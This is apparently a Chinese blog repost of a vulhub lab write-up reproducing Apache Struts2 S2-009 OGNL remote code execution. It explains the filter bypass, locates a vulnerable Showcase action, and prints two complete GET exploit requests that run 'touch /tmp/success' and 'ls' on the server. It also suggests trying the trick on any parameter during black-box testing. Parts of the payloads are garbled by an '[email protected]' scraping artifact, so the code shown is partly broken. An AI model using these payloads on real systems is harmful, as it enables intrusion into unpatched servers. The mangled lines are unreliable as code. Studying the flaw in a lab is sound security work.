1. 程式人生 > 其它 >S2-009 遠端程式碼執行漏洞

S2-009 遠端程式碼執行漏洞

影響版本: 2.1.0 - 2.3.1.1

漏洞詳情:http://struts.apache.org/docs/s2-009.html

測試環境搭建

docker-compose build
docker-compose up -d

原理

前置閱讀: 這個漏洞再次來源於s2-003、s2-005。瞭解該漏洞原理,需要先閱讀s2-005的說明:

https://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md

參考Struts2漏洞分析之Ognl表示式特性引發的新思路,文中說到,該引入ognl的方法不光可能出現在這個漏洞中,也可能出現在其他java應用中。

Struts2對s2-003的修復方法是禁止靜態方法呼叫,在s2-005中可直接通過OGNL繞過該限制,對於#號,同樣使用編碼\u0023\43進行繞過;於是Struts2對s2-005的修復方法是禁止\等特殊符號,使使用者不能提交反斜線。

但是,如果當前action中接受了某個引數example,這個引數將進入OGNL的上下文。所以,我們可以將OGNL表示式放在example引數中,然後使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法來執行它,從而繞過官方對#\等特殊字元的防禦。

Exploit構造

測試環境是一個struts2的“功能展示”網站Struts Showcase,程式碼很多,我們的目標是去找一個接受了引數,引數型別是string的action。

先對S2-009.war進行解壓(我用binwalk,其實直接zip就可以),可見原始碼都在WEB-INF/src目錄中,我一般找ajax相關的程式碼,這些程式碼一般邏輯比較簡單。

找到一個WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java

public class Example5Action extends ActionSupport {

    private static final long serialVersionUID = 2111967621952300611L;

    private String name;
    private Integer age;


    public String getName() { return name; }
    public void setName(String name) { this.name = name; }

    public Integer getAge() { return age; }
    public void setAge(Integer age) { this.age = age; }

    @Override
    public String execute() throws Exception {
        return SUCCESS;
    }
}

程式碼沒有更簡單了,其接受了name引數並呼叫setName將其賦值給私有屬性this.name,正是符合我們的要求。然後去WEB-INF/src/java/struts-ajax.xml看一下URL路由:

<package name="ajax" extends="struts-default">
    ...
    <action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action">
        <result name="input">/ajax/tabbedpanel/example5.jsp</result>
        <result>/ajax/tabbedpanel/example5Ok.jsp</result>
    </action>
    ...
</package>

name=example5,所以訪問http://your-ip:8080/ajax/example5.action即可訪問該控制器。按照原理中說到的方法,將OGNL利用程式碼放在name引數裡,訪問該URL:

GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%[email protected]@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
Host: localhost:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


由於該POC沒有回顯,所以呼叫的是touch /tmp/success命令。

黑盒情況下,這個洞也不是限制特別大。只要你在正常業務中找到傳參的地方,就用該引數名可以試試。

漏洞復現

訪問ip+8080埠(ip為環境搭建系統的ip)

POC

GET /ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)] HTTP/1.1
Host: 192.168.10.128:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflat
Connection: close
Cookie: JSESSIONID=7B7A161034EF556C9D1BA4DC361FE37A
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0